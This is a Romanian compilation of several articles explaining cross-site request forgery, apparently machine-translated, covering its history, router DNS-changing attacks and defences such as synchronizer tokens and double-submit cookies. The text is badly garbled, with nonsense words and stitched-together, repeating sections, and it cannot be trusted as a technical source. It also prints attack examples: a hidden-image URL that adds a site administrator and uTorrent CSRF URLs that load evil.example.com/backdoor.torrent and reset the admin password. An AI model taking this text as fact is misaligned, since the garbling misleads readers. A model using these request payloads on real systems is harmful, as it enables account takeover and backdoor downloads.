sensul Csrf. Ce este CSRF? Înțelesul termenului CSRF

sensul Csrf. Ce este CSRF? Înțelesul termenului CSRF

Falsificarea cererii între site-uri - mult zgomot prin nimic

Alexandru Antipov

În prezent, comunitatea de securitate web discută pe scară largă despre un „nou” tip de falsificare, numit Cross-Site Request Forgery (CSRF sau XSRF). Este recomandat să respectați cititorul articolului pentru a se răzbuna pe descrierea influențelor sale, a metodelor de selecție a acestuia și a principalelor abordări ale zakhistului.


Serghei Gordiicik

Gordey @ ptsecurity com

În prezent, comunitatea de securitate web discută pe scară largă despre un „nou” tip de falsificare, numit Cross-Site Request Forgery (CSRF sau XSRF). Este recomandat să respectați cititorul articolului pentru a se răzbuna pe descrierea influențelor sale, a metodelor de selecție a acestuia și a principalelor abordări ale zakhistului. Termenul rus adoptat oficial pentru desemnarea falsificării cererii între site-uri nu a fost încă văzut, în legătură cu care autorul propune o opțiune vicoristică „Subiectul solicitării HTTP”.

Abordare lirică

În primul rând, dorim să evidențiem principalele beneficii asociate CSRF:

1. Cereri HTTP ulterioare - un nou tip de turnare.

Nu asa. Considerațiile teoretice pe tema depanării datează din 1988 (http://www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html), iar aplicațiile practice ale scurgerilor au fost discutate de Bugtraq începând cu cel puțin 2000 (http ://www.zope .org/Members/jim/ZopeSecurity/ClientSideTrojan). Termenul în sine a fost inventat de Peter Watkins (http://www.securiteam.com/securitynews/5FP0C204KE.html) în 2001.

2. CSRF este o variantă a Cross-Site Scripting (XSS).

Există o similitudine între CSRF și XSS, care este similară cu vectorul de atac al clienților de supliment Web (Client-Side Attack în terminologia WASC http://www.webappsec.org/projects/threat/). Vulnerabilitățile de tip CSRF pot fi utilizate împreună cu XSS sau „redirectori” (http://www..php) și pot fi, de asemenea, clasificate ca o clasă de vulnerabilități.

3. Domeniul de aplicare al CSRF este puțin larg și îngust în vikoristan.

Datele colectate de Positive Technologies din testele de penetrare și evaluările de securitate ale suplimentelor Web arată că majoritatea suplimentelor Web sunt susceptibile la atac. În loc de alte probleme, CSRF nu se datorează unor defecte de programare, ci mai degrabă comportamentului normal al serverului Web și al browserului. Tobto. Majoritatea site-urilor care folosesc arhitectura standard urmează regulile.

Vikoristanny fund

Să aruncăm o privire la wiki-ul CSRF în acțiune. Este acceptabil să existe un nou add-on bazat pe Web care îmbunătățește cunoștințele prin e-mail. Clientul introduce adresa de e-mail și textul de notificare, apasă butonul Trimite, iar notificarea este trimisă destinatarului.

Mic 1. Întărirea conștientizării

Schema este conștientă de impersonalitatea site-urilor și nu emite lista obișnuită. Prote a introdus un program cu o acoperire mare pentru atacurile „Solicitare HTTP”. Pentru a exploata acest lucru, atacatorul poate crea o pagină pe site-ul său care plasează mesajul pe „imagini”, după care îi cere clientului să meargă pe site-ul său pentru a primi mesajul (de exemplu, http://bh.ptsecurity.ru /xcheck/csrf.htm).

Când browserul este deschis în lateral, browserul utilizatorului încearcă să captureze imaginile și, în cele din urmă, se va transforma într-un supliment puternic. forțează notificarea unui e-mail către destinatarul specificat în câmpul „către” al cererii.

Mic 2. Atacul CSRF

Vă rugăm să rețineți că browserul dvs. a trimis valoarea Cookie către site, deci. Acesta va fi acceptat ca rezultat al unui client autentificat. Pentru a tenta hackerul să invadeze pagina care forțează atacatorul să descarce serverul, hackerul poate folosi metode de inginerie socială, precum și variații tehnice, cum ar fi hack-uri de implementare XSS și pâlnie.ktsії redirecționare.

Mic 3. Logica robotului CSRF

Astfel, atacul CSRF folosește browserul CSRF pentru a transmite solicitări HTTP către alte site-uri și le trimite fără a verifica sursa solicitării HTTP. Aplicația Wikorist folosește metoda GET HTTP pentru transmiterea parametrilor, ceea ce va face viața mai ușoară atacatorului. Cu toate acestea, este puțin probabil ca utilizarea metodei POST să reducă automat posibilitatea unor atacuri folosind solicitări HTTP detaliate. Site-ul de pe serverul rău intenționat poate conține un formular HTML gata făcut, care este încărcat automat când pagina este vizualizată.

Pentru a exploata CSRF, un atacator nu are nevoie de un server Web puternic. Pagina care începe cu cererea poate fi transmisă prin poștă electronică sau prin alte mijloace.

Privind în jurul lui Billy Hoffman metode diferite interacțiune de la margine la margine folosind Javascript suplimentar. Toate semnalele, inclusiv XmlHttxmpquest (în anumite situații), pot fi folosite pentru atacuri CSRF.

Sper că până acum cititorul a înțeles deja importanța principală a CSRF față de XSS. Cu XSS, atacatorul refuză accesul la DOM (Document Object Model) al paginii atât pentru citire, cât și pentru scriere. Cu CSRF dezactivat, atacatorul poate trimite o cerere către server din spatele browserului utilizatorului, dar poate doar să preia și să analizeze rezultatul serverului și astfel nu mai poate trimite un antet (de exemplu, Cookie). Aparent, „HTP Request Subsidiary” vă permite să procesați suplimentul într-un mod „doar scriere”, care, totuși, este complet suficient pentru a efectua atacuri reale.

Țintele principale ale atacurilor CSRF sunt diverse programe Web interactive, cum ar fi sisteme de e-mail, forumuri, CMS, interfețe din îndepărtatul Keruvan să păstrăm marginile. De exemplu, un atacator poate forța notificări asupra numelor altor clienți, poate adăuga înregistrări noi sau poate modifica setările routerului prin interfața Web.

Mic 4. Exemplu de utilizare a CSRF pe forum

Raportul este pe cale să înceapă cu privire la modificarea rămasă în ajustarea dispozitivelor de delimitare. Autorul este deja familiarizat cu sistemele de detectare a atacurilor fără săgeți, dar, desigur, nu poate fi separat de ele în dreapta.

Spărgem perimetrul

Recent, Symantec a publicat un raport despre un „nou” atac numit „Drive-By Pharming”, care este în esență o variantă de exploatare a CSRF. Atacatorul instalează JavaScript „încântător” în browserul utilizatorului, care modifică configurația routerului, de exemplu, care stabilește noi valori pentru serverul DNS. Pentru a lansa acest atac, trebuie să îndepliniți următoarele cerințe:

Scanează porturile pentru JavaScript suplimentar;

Desemnat ca program web (amprentă);

Selectarea parolei și autentificarea folosind CSRF;

Modificarea parametrilor gazdei pentru atacuri suplimentare CSRF.

Tehnica de scanare a disponibilității unui server Web și de utilizare a JavaScript este concepută să funcționeze bine și să reducă la creație dinamică Obiecte HTML (de exemplu, img src=), care sunt indicate pe diferite adrese URL interne (de exemplu, http://192.168.0.1/pageerror.gif). Dacă „imaginea” a fost descărcată cu succes, la adresa testată a fost instalat un server Web bazat pe Microsoft IIS. Dacă eroarea 404 a fost eliminată din ieșire, portul este deschis și serverul Web rulează pe unul nou. Dacă există un timeout pentru călătorie, există un server zilnic la graniță sau un port de blocare pe ecranul de frontieră. Ei bine, în alte situații - portul este închis, dar gazda este accesibilă (serverul pornește pachetul RST și browserul pornește mesajul până la expirarea timpului de expirare). În unele situații, scanarea porturilor din browserul clientului poate fi efectuată fără wiki JavaScript(http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html).

După selectarea tipului de dispozitiv, atacatorul poate încerca să schimbe browserul utilizatorului și să trimită imediat o solicitare de modificare a setărilor. Cu toate acestea, o astfel de solicitare va avea succes numai dacă browserul clientului are deja o sesiune activă autentificată cu dispozitivul. Mâna mamei deschide pagina Gestionarea routerului este o pierdere de timp pentru mulți hackeri „blocați”.

Deoarece nu există o sesiune activă cu interfața de management, atacatorul trebuie să se autentifice. Deoarece dispozitivul implementează autentificarea pe bază de formulare, aceste probleme nu vor apărea. Prin utilizarea CSRF în POST, serverul este forțat să ceară autorizare, după care imaginea (sau pagina) este accesată de utilizatori neautorizați. Dacă imaginea a fost capturată, atunci autentificarea a avut succes și puteți continua cu pașii suplimentari, în caz contrar, încercați o parolă diferită.

Ca urmare, dacă dispozitivul care este atacat implementează autentificarea folosind metoda Basic, lucrurile devin mai complicate. Browser Internet Explorer Nu este posibil să introduceți numele de utilizator și parola în adresa URL (de exemplu, http://user: [email protected]). În legătură cu aceasta pentru autentificarea de bază, puteți utiliza metoda de adăugare a antetelor HTTP folosind Flash, descrieri în statistici. Cu toate acestea, această metodă este potrivită doar pentru versiunile mai vechi de Flash, care devin din ce în ce mai frecvente.

Alte browsere, cum ar fi Firefox, vă permit să introduceți numele de utilizator și parola în adresa URL și pot utiliza un wiki pentru autentificare pe orice server, ceea ce vă permite să creați parole ori de câte ori alegeți o parolă incorectă.

Mai jos este prezentat un exemplu de script pentru autentificare „silențioasă” folosind metoda Basic, de pe blogul lui Stefan Esser.

Firefox HTTP Auth Bruteforcing

Mic 5. Autentificare de bază cu Firefox

În mediul corporativ, mecanismele SSO sunt cel mai des folosite, de exemplu, pe baza domeniului Director activ Atât protocoalele Kerberos, cât și NTLM, operarea CSRF nu necesită efort suplimentar. Browserul va trece automat autentificarea în contextul securității clientului online.

După ce autentificarea a trecut, atacatorul va trimite o solicitare folosind JavaScript care modifică setările routerului, de exemplu, adresa serverului DNS.

Methodi zakhistu

Primul lucru care ne vine în minte când vorbim despre protecția CSRF este să verificați valoarea antetului Referer. Și de fapt, unele dintre solicitările HTTP implicate în trimiterea unei solicitări de pe un al treilea site, monitorizarea paginii de ieșire, ale cărei adrese sunt adăugate automat de browser la anteturile solicitărilor, pot rezolva problema.

Cu toate acestea, acest mecanism are puține deficiențe. În primul rând, distribuitorul se confruntă cu sarcina de a procesa interogări, cum ar fi antetul Referer. O mulțime de oameni cu personal ecrane interfrontiereȘi serverele proxy anonimizate revizuiesc Referer ca un antet potențial nesigur. Aparent, din moment ce serverul ignoră astfel de solicitări, grupul celor mai „paranoici” oameni nu va putea face față.

Alternativ, în unele situații antetul Referer poate fi subdivizat, de exemplu, în plus față de trucul Flash deja învățat. Dacă utilizatorul rulează IE 6.0, în loc de antetul cererii, se pot face modificări cu corectitudine în implementarea XmlHttxmpquest. Există un impact asupra capacității de a utiliza simboluri variabile pentru a transfera rândul în numele metodei HTTP, ceea ce vă permite să schimbați antetele și să trimiteți o interogare suplimentară. Acest spillover a fost descoperit de Amit Clein () în 2005 și a fost redescoperit în 2007. Interschimbarea acestei metode le include pe cele care funcționează numai în cazurile în care există dovezi între server și serverul HTTP-Proxy sau servere de găzduire pe aceeași adresă IP , pe lângă diferite nume de domenii.

O altă metodă de extensie este adăugarea unui parametru unic la intrarea skinului, care este apoi verificat de server. Parametrul poate fi adăugat la adresa URL atunci când utilizați opțiunea GET, de exemplu, sau sub forma unui parametru de formular capturat, când utilizați opțiunea POST. Valoarea parametrului poate fi suficientă, astfel încât atacatorul să nu-l poată transfera, de exemplu, valoarea sesiunii corespondentului.

Mic 6. Protecție CSRF pentru Bitrix

Pentru a adăuga rapid funcția de verificare CSRF în programul dvs., puteți utiliza rapid această abordare:

1. Adăugați un mic JavaScript la pagina generată, care va adăuga un parametru la toate formele de solicitări suplimentare cărora le este atribuită valoarea Cookie.

2. Verificați pe server dacă clientul a trimis o valoare metodei POST care este echivalentă cu valoarea cookie curentă.

Un exemplu de astfel de script client este prezentat mai jos:

O dezvoltare ulterioară a acestei abordări este salvarea ID-ului sesiunii peste Cookie și rolul parametrului de formular primit (de exemplu, VIEWSTATE).

Ca metodă de contracarare a CSRF, pot fi utilizate diferite versiuni ale testelor Turing, de exemplu, o imagine binecunoscută - CAPTCHA. O altă opțiune populară este necesitatea de a intra parola koristuvachîn perioadele de schimbare ajustări critice.

Mic 7. Protecție CSRF de la mail.ru

Astfel, Cross-Site Request Forgery este un atac îndreptat către client de către programele Web și verificarea insuficientă a cererii HTTP. Pentru a vă proteja împotriva unor astfel de atacuri, puteți utiliza un control suplimentar al sursei cererii pe baza antetului Referer sau a unui parametru „implicit” suplimentar.

Sergey Gordiychik lucrează ca arhitect de sistem la Positive Technologies, unde este specializat în surse de alimentare, securitatea dronelor și tehnologii mobile. Autorul este, de asemenea, un distribuitor de top al cursurilor „Siguranță măsură fără săgeți„, „Analiza și evaluarea securității suplimentelor Web” al centrului principal „Informzahist”. A publicat zeci de articole despre „Windows IT Pro/RE”, SecurityLab și alte publicații. Є participant la proiectele Web Application Security Consortium (WASC).

Dar îmi amintesc că am promis să scriu despre captcha cu informatorul meu anterior, dar, sincer să fiu, nu mai am puterea să scriu despre captcha. De aceea, eu, ca analist IB, acord o atenție deosebită doar propunerilor pentru captcha rău, și nimic altceva. normal roboti.

Pe măsură ce mă ridic în ochii publicului, voi începe să scriu articole despre siguranță. Profilul meu este în principal despre securitatea suplimentelor web, așa că voi scrie despre securitatea suplimentelor web, inclusiv lansarea acestor suplimente.

Această serie de articole îi va fi dedicată Deversarea CSRF. Ați auzit vreodată de un astfel de termen? Aceasta înseamnă că acest ciclu este pentru tine;

introduce

Desigur, niciunul dintre experți nu a simțit deja diferențe clasice precum:

  • injecție SQL
  • PHP include

Anterior, în zorii dezvoltării Internetului, era practic posibil să se prevină o mulțime de astfel de scurgeri. În fiecare zi a devenit din ce în ce mai dificil să reacționezi la acest tip de scurgere. Și atacatorii au devenit mai sofisticați, ceea ce a dus la dezvoltarea de noi tipuri și vectori de atac - unul dintre aceste tipuri de atac a fost văzut în aceeași clasă și nu a fost numit CSRF.

Ce este CSRF? Teorie

Să mergem la Wikipedia:

CSRF (Cross Site Request Forgery, cunoscut și sub numele de XSRF) este un tip de atac asupra site-urilor web gazdă care încalcă protocolul HTTP. Ori de câte ori o victimă accesează un site web, atacatorul creează o solicitare secretă către un alt server (de exemplu, un server sistem de plata), care are ca rezultat un fel de operațiune irosită (de exemplu, transferul de bănuți în banii unui criminal). Pentru a efectua acest atac, victima trebuie să fie autorizată pe serverul pe care este utilizată cererea, iar această solicitare nu necesită nicio confirmare din partea utilizatorului, care nu poate fi ignorată sau extinsă de script.

Pentru a fi corect, acesta este un atac în care atacatorul încearcă să perturbe browserul victimei și să facă o conexiune la serverul țintă, sub capota victimei însăși. Schematic arată astfel:

Acest atac în chomus este asemănător cu clasicul XSS, în care atacatorul trebuia să forțeze victima să meargă pe partea de deversare în acest scop. Aici este necesar să forțați clientul să meargă pe o pagină special pregătită de escroc, pentru a adăuga codul de cântare. Când codul este instalat, browserul victimei face o solicitare către un alt server (poate sub pretextul unei imagini atractive) și astfel începe acțiunile necesare atacatorului.

Problema cu CSRF este că comportamentul browserelor și al întregului protocol HTTP este normal. De exemplu, este normal ca un site să poată plasa imagini de pe alt site pe paginile sale. Și browserul nu știe din spate ce încearcă să facă pentru a-l atrage, efectiv imaginea, sau sub aspectul acestei atracție va fi afișată pe site-ul țintă.

Un pic de practică

Luați, de exemplu, un întreg site sferic în vid, care are un panou de administrare complet standard, cu funcția de a adăuga un nou administrator:

Cititorul acestui formular nu știe nimic despre impactul CSRF și, prin urmare, protecția față de acesta nu este timidă. Ei bine, plus înainte de toate (pentru a menține lucrurile simple) transferi date folosind metoda GET. Când apăsați butonul „închidere”, browserul va forma un mesaj către pagina următoare:
http://site/admin/?do=add_admin&new_login=NewAdmin&new_pass=NewPass&new_mail=NewAdmin@Mail.Com
Și după ce aceasta este conectată, un nou administrator va apărea pe site-ul dvs. S-ar părea că din această cauză, funcționalitatea este în întregime primară pe multe site-uri. Și aici urlă durerea de cap. Victima poate fi hărțuită conectându-se pe un site complet diferit. Să creăm următoarea pagină din spatele adresei http://evil/page.html


Partea primară


Cu textul original. Ale cu neidentificat în schimb



Și acum că victima a intrat http://evil/page.html, apoi browserul va încerca să captureze imaginea, dar va merge apoi la panoul de administrare, creând astfel un nou administrator. Singura cerință pentru exploatarea cu succes a acestui atac este necesitatea ca victima să fie autorizată pe serverul de atac în momentul atacului.

Visnovok

De aceea ne-am înțeles cu CSRF. Să încercăm să vedem principalele avantaje pentru un atac de succes:

  • Posibilitatea de a forța victima să meargă la pagina cu un cod suplimentar. Sau posibilitatea modificării de către un răufăcător avansează adesea paginile victimei (după cum pare, de parcă nu există munte pentru a merge la Mahomed, atunci...).
  • Disponibilitatea protecției CSRF pe site-ul țintă (despre aceasta).
  • La momentul atacului, corespondentul poate avea autorizații pentru activitatea de care dorește să renunțe sub numele său.

Și pe baza acestora putem încerca să obținem protecție față de statisticile actuale...

Solicitați detalii pe mai multe site-uri, de asemenea cunoscut ca si atac cu un clic sau sesiune de plimbareși pe scurt CSRF(unele expresii surf de mare) sau XSRF, Acesta este unul dintre tipurile de exploatare neloială de pe site, în care comenzile neautorizate sunt transmise utilizatorului care are încredere în add-on-ul web. Există multe moduri prin care un site web poate transmite astfel de comenzi; Etichetele de imagine special create, formularele primite și cererile JavaScript XMLHttpRequests, de exemplu, toate pot fi procesate fără interacțiune cu clientul sau fără cunoștințe. În loc de cross-site scripting (XSS), care se bazează pe utilizator pentru un anumit site, CSRF exploatează încrederea pe care site-ul o rulează în browserul utilizatorului.

istorie

CSRF a fost identificat în unele cazuri de exploatare începând cu anul 2001. Fragmentele operează prin înregistrarea unei adrese IP, iar log-urile de pe un site web pot oferi dovezi ale CSRF. Exploatați sub-remunerarea în mod public și în 2007. au fost o grămadă de mucuri bine documentate:

  • Site-ul web Netflix în 2006 a avut un număr mare de atacuri asupra CSRF, care ar putea permite atacatorului să anuleze acțiuni precum închirierea unui DVD victimei, schimbarea adresei de livrare către magazin sau modificarea datelor din cloud pentru autentificarea victimei, astfel încât să compromită rakhunok,
  • Extensia web online banking ING Direct a fost expusă atacurilor CSRF, care au permis transferuri ilegale de bănuți.
  • Popularul site video YouTube a fost, de asemenea, problematic pentru CSRF în 2008, iar acest lucru a permis oricărei persoane rău intenționate să distrugă aproape orice, de orice fel.
  • McAfee este, de asemenea, vulnerabil la CSRF, permițând atacatorilor să-și schimbe sistemul companiei.

Noi atacuri asupra dispozitivelor web au avut loc în 2018, inclusiv încercări de modificare a setărilor DNS ale routerelor. Mai mulți producători de routere au lansat rapid actualizări de firmware pentru a îmbunătăți securitatea și au încurajat clienții să modifice setările routerului pentru a modifica riscul. Detaliile au fost rezumate, ținând cont de „lipsa evidentă de securitate”.

Cul și caracteristici

Escrocii, care pot afla mesajul care se creează pe toată pagina, în timp ce victima se înregistrează, pot crea un astfel de mesaj pe pagină pentru a controla și înșela victima în atacul său. Atacul nasului poate fi plasat într-un loc în care victima, care a plătit pentru totul, poate fi adusă pe site - ținta (de exemplu, discutată pe forum) sau trimisă la corp HTML pleacă sau un depozit. CSRF real în Utorrent (CVE-2008-6586) a exploatat faptul că consola web este disponibilă pe gazda locală: 8080 au permis acțiuni critice care vor fi contactate pentru ajutor Am să întreb OBȚINE:

Descărcare fișier Primusova .torrent HTTP: // local: 8080 / GUI / diya = adăugare URL & s = HTTP: //evil.example.com/backdoor.torrent Schimbarea parolei de administrator Utorrent HTTP: // local: 8080 / gui / diya = setsetting & s = webi.parola & v = eviladmin

Atacurile au fost lansate prin calea deplasării celor răi, acțiune automată Elementele HTML sunt afișate pe forumuri și spam-ul în e-mail, astfel încât browserele care afișează aceste pagini le vor deschide automat, fără acțiuni speciale din partea clientului. Oamenii care turnau o versiune de Utorrent în același timp au fost atacați.

Atacurile CSRF cu wiki-uri de etichete de imagine sunt adesea raportate de pe forumuri online, unde dezvoltatorii pot posta etichete de imagine mai degrabă decât JavaScript, de exemplu, cu wiki-uri BBCode:

http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

Când un atac este lansat pe un server local Utorrent pe localhost: 8080, browserul va trimite automat și orice alte cookie-uri pentru acel domeniu. Tse putere ascunsa Browserele web permit atacurilor CSRF să-și țintească țintele și să-și învingă inamicii atâta timp cât ajung pe site-ul web țintă (în această aplicație, interfața web locală Utorrent) în momentul atacului.

Solicitați detalii despre site-ul încrucișat și pierdeți-vă în atacul împotriva browserului web.

CSRF are următoarele caracteristici:

  • Aceasta include site-urile care se bazează pe identitatea personală.
  • Vіkoristovuyu are încredere în site-ul cu această identitate.
  • Vaughn păcălește browserul clientului în expeditorul HTTP - solicitându-l site-ului țintă.
  • Aceasta include solicitările HTTP, care pot avea efecte secundare.

Cuvinte HTTP și CSRF

  • În HTTP GET, exploatarea CSRF este banală, metodele vikoryst sunt descrise mai mult, cum ar fi hiper-puterea simplă de a plasa parametrii manipulați și căutarea automată a unei etichete IMG suplimentare. Conform specificației HTTP, totuși, GET ar trebui considerată o metodă sigură, astfel încât să nu modifice capacitatea utilizatorului de a adăuga valoare. Programele care folosesc GET pentru astfel de operațiuni ar trebui să treacă la HTTP POST sau să utilizeze protecție CSRF.
  • HTTP POST are sensibilitate diferită la CSRF, în funcție de scripturile de raportare ale wiki:
    • În cea mai simplă formă, POST cu date care sunt codificate sub forma unui rând (field1=value1&field2=value2) Atacurile CSRF pot fi implementate cu ușurință folosind un formular HTML simplu, iar intrările anti-CSRF sunt blocate.
    • Dacă datele sunt transmise în orice alt format (JSON, XML), metoda standard de trimitere POST cu XMLHttpRequest cu atacuri CSRF a fost pierdută SOP; є metodă de trimitere a unui formular HTML complet cu următorul atribut ENCTYPE în loc de unul simplu; Astfel de solicitări secundare pot fi clasificate ca fiind legitime pentru tipul text/conținut simplu, dar deoarece nu sunt adăugate la server, CSRF poate fi adăugat
  • Alte metode HTTP (PUT, DELETE etc.) pot fi văzute numai cu subsisteme XMLHttpRequest și suport CSRF; Cu toate acestea, aceste intrări nu vor fi active pe site-uri web decât dacă le activați în mod explicit utilizând antetul Access-Control-Allow-Origin: *

Alte abordări ale CSRF

În plus, deși este descris în mod obișnuit în termeni de un tip de atac static, CSRF poate fi, de asemenea, invocat dinamic ca parte a motivației pentru scenariile de atac pe mai multe site-uri, așa cum se arată în Samy Worm, sau solicitat să obțină acces la informațiile despre sesiune prin Vă rugăm să eliminați și trimiteți-l la marca ca o adresă URL greșită. Tokenurile CSRF pot fi, de asemenea, trimise de un client rău intenționat prin fixarea sesiunii sau alte spillovers, sau ghicite printr-un atac de forță brută care este transferat în partea de descărcare, care generează mii de depărtare. Clasa de atac „Dynamic CSRF”, sau pentru ajutorul țintirii corisale a clientului de piele pentru o anumită sesiune de falsificare, a fost descrisă în 2009 de Nathan Hamiel și Sean Moyer la briefing-urile BlackHat, dorind să continue sistematic, să elimine stagnarea mai largă.

Un nou vector pentru dezvoltarea atacurilor dinamice CSRF a fost prezentat de Oren Ofer la întâlnirea OWASP a șefului de astăzi 2012 - „AJAX Hammer - Dynamic CSRF”.

Patrimoniul

Seriozitatea indicatorilor a fost eliberată în versiunea CSRF, ceea ce duce la terminarea de la distanță a codului cu privilegiile unui super server, precum și severitatea modului în care poate fi compromis un certificat rădăcină, care susține practic infrastructura în cheie secretă. .

Obmezhennya

Aceste discursuri sunt necesare pentru a sprijini subdiviziunea pe mai multe site-uri pentru a obține succes:

  1. Atacatorul este de vină fie pentru un site care nu verifică antetul referitor, fie victima pentru un browser suplimentar, fie pentru un plugin care permite înlocuirea refererului.
  2. Atacatorul trebuie să cunoască formularul de trimitere de pe site-ul țintă sau adresa URL, care poate avea efecte secundare care pot fi utilizate (de exemplu, transferul de bani sau schimbarea adreselor de e-mail sau a parolei victimei).
  3. Atacatorul este responsabil pentru furnizarea valorilor corecte pentru toate formularele și intrările URL; De parcă oricare dintre ei ar fi responsabil, existau valori secrete de autentificare sau identificatori, astfel încât atacatorul nu putea ghici că atacul, care era cunoscut pentru toate, nu era în minte (căci atacatorul nici măcar nu a fost scutit de ghici).
  4. Atacatorul este responsabil pentru atragerea victimei către un site web cu un cod rău până când victima se înregistrează pe site-ul țintă.

Atacul orb: atacatorul nu poate ataca pe cei pe care site-ul țintă îi forțează înapoi către victimă la sursa din forjă, deoarece nu utilizează scripturi între site-uri sau alt atac asupra site-ului țintă. În plus, cel rău poate fi considerat doar ca trimis sau imagina orice formă care vin după începutul furnizării falsificate, precum este începutul trimiterii sau formele în sine sunt transmise. (Obiectivele multiple pot fi modelate cu un număr de simboluri pe pagină sau puteți utiliza JavaScript pentru a adăuga spațiu între clicuri.)

Z urahuvannyam zikh obmenen, răufăcătorul poate duce lucruri dificile în căutarea victimelor anonime sau poate revărsa forma tributului. Pe de altă parte, atacurile de sondare sunt ușor de instalat și de neobservat pentru victime, iar dezvoltatorii suplimentelor sunt mai puțin familiarizați și pregătiți înaintea atacurilor CS, mai puțin mirositoare, să zicem, pentru atacurile rău intenționate cu parole din spatele dicționarului.

prevenirea

Majoritatea metodelor de prevenire a CSRF implică inserarea de date suplimentare de autentificare în cerere, ceea ce permite unui supliment web să detecteze solicitările din locații neautorizate.

Model de marker sincronizator

  • Când vă conectați la sistem, suplimentul web instalează o imprimantă pentru a plasa un marcator de greșeală, care este lipsit de conexiunea permanentă la sesiunea clientului.
Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expiră=Joi, 23-Iul-2015 10:25:33 GMT; Max-Age = 31449600; Cale=/
  • JavaScript rulează pe partea clientului, citește valoarea și o copiază în antetul serverului HTTP al cererii de tranzacție trimisă de utilizator.
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • Serverul verifică autenticitatea și integritatea markerilor.

Această metodă sigură se bazează pe presupunerea că numai JavaScript funcționează în același mod, putând citi valorile cookie-urilor. JavaScript funcționează cu fișierul sau adresele de e-mail nu pot fi citite și copiate în antetul clientului. Nu-ți pasă de acești markeri CSRF cookie-uri Cererile vor fi trimise automat, serverul va verifica în continuare un token X-CSRF valid Titlu .

Markerul CSRF în sine este unic și inimitabil. Acest lucru poate fi generat de rangul wiki sau poate fi eliminat din marcatorii din sesiunea HMAC:

Csrf_token = HMAC(session_token, application_secret)

Marker pechivo CS nu este vinovat de mama HTTPOnly ensign, oskolki vin scopuri pentru citire pentru design JavaScript suplimentar.

Această metodă este implementată de multe cadre moderne, cum ar fi Django și AngularJS. Ca urmare, markerul este lipsit de continuitate continuă pe toată durata sesiunii utilizatorului; funcționează bine cu suplimentele AJAX, dar nu asigură coerența cu suplimentele web.

Vă rugăm să aveți grijă ca, folosind această metodă, întregul site web poate fi distrus se aprinde politica sa de aceeași abordare, vikorystvoy una dintre aceste metode:

  • Antet Allowed Access-Control-Allow-Origin (dintr-un argument stea)
  • clientaccesspolicy.xml pentru acces independent la managementul Silverlight
  • fișier crossdomain.xml pentru acces nelimitat la videoclipuri flash

Dvomіsnyy Nadіslat Cookie

În mod similar, dacă mergeți la antet, dar fără JavaScript, site-ul poate introduce un marker CSRF ca o brutărie și, de asemenea, îl poate introduce în câmpul corespunzător din skin formular HTML că clientul este abuzat. Odată ce formularul este trimis, site-ul poate verifica dacă markerul cuptorului se potrivește cu forma markerilor. Politica de comportament ilegal împiedică atacatorul să citească sau să instaleze cookie-uri pe domeniul țintă, astfel încât nu pot pune markerul corect pe vizualizarea creată.

Avantajul acestei metode față de sincronizatorul mic este că token-ul trebuie să fie stocat pe server.

Garanțiile clientului

Extensiile de browser, cum ar fi RequestPolicy (pentru Mozilla Firefox) sau Umatrix (pentru Firefox și Google Chrome/Chromium) pot ocoli CSRF prin alocarea unei politici personalizate solicitărilor între site-uri. Tim nu este mai puțin capabil să afecteze complet funcționarea normală a multor site-uri web. Extensia CsFire (și pentru Firefox) poate suprima injectarea CSRF cu un aflux mai mic în vizualizarea inițială de furnizare de informații suplimentare despre autentificare în timpul solicitărilor între site-uri.

CSRF (Cross Site Request Forgery - un subset de solicitări între site-uri) Acesta este ceea ce numim XSRF. Această vedere Atacurile asupra site-urilor de internet gazdă implică deficiențe în protocolul HTTP. Dacă o victimă merge pe un site special creat de o persoană rău intenționată, atunci el sau ea va merge apoi la un server terță parte (de exemplu, un server de plată electronică), care va efectua o operațiune urâtă (transferând bănuți către hacker-ul). bani). Pentru ca acest atac să aibă succes, victima trebuie să fie autorizată pe serverul pe care este trimisă cererea. Băutorul însuși nu este vinovat de confirmarea vimagati a koristuvach-ului.

Dacă mă gândesc bine, acest tip de atac există de mult timp. Declinul teoretic al acestei diete a apărut încă din 1988, iar primele deversări au apărut în 2000.

Una dintre utilizările CSRF este exploatarea XSS-ului pasiv detectat pe un alt server. De asemenea, este posibil să trimiteți mesaje spam folosind numele victimei, schimbați setările înregistrare regională pe alt site.

Se într-un mod simplu Există un mecanism de protecție împotriva acestui tip de atac dacă site-ul primește confirmarea tuturor activităților comerciantului.

În alt mod, mecanismul de vindecare apare atunci când viermele este asociat cu ședința cheie secreta, controlul necesar al cererilor POST. Cheia se incarca in mijlocul aplicatiei skin, in timpul orei se incheie diverse actiuni, iar serverul verifica aceasta cheie. În plus, mecanismul nu trebuie să analizeze câmpul HTTP_REFERER și, prin urmare, nu este nevoie să se ocupe de multe nuanțe opțiuni posibile absenţa şi prezenţa diverselor elemente ale acestui domeniu.


Am încercat să descriu ce este acest spillover și, nu în ultimul rând, captarea anumitor minți este necesară pentru a efectua un atac precum CSRF.

Din acest articol voi încerca informații despre protecția împotriva atacurilor acest tip din partea asta:

  • De partea clientului - principalele modalități de a te fura
  • Pe partea laterală a serverului - design corect al programului

Dacă doriți să vă protejați de CSRF, vă rugăm să ne contactați.

Informații secrete

Aș dori să vă spun în avans că CSRF NU este un spillover, nu este un tip de atac. І atacul a fost efectuat asupra suplimentului web Kintsevoy koristuvach pentru o răspândire suplimentară în acest supliment, Yaku poate fi numit „Importanța verificării corecte a alimentării cu apă” (eu am venit cu numele, nu-l judeca prea aspru, dar așa mai departe). Pe ici pe colo, răspândesc așa-zisul CSRF și atac într-o singură persoană în cel mai simplu mod, și la fel se acceptă =)

Și dacă atacul este efectuat asupra unui koristuvach, atunci koristuvachev va fi protejat... În dreapta este că orice koristuvach poate reduce posibilitatea de a efectua acest atac pe orice site care este în curs de koristuvat (cu toate acestea, pe aceste site-uri există nicio protecție intrusă în ID CSRF). În afară de asta, dezvoltatorii site-ului înșiși își pot proiecta programele în așa fel încât să elimine posibilitatea de a efectua acest atac asupra clienților lor.

Să ne uităm la asta din ambele părți.

Zakhist de lângă koristuvach

La urma urmei, totul aici este foarte banal:

  • Nu treceți la mesajul trimis de terți. Acesta este cel mai banal lucru, cred că ar trebui să știu totul așa, dar aș vrea să vă povestesc despre asta pentru prima dată.
  • Dezautorizați după terminarea lucrului cu un anumit site. Vă rugăm să rețineți că atacatorul nu se va putea deconecta de la activitățile de pe site-ul țintă sub numele dvs.
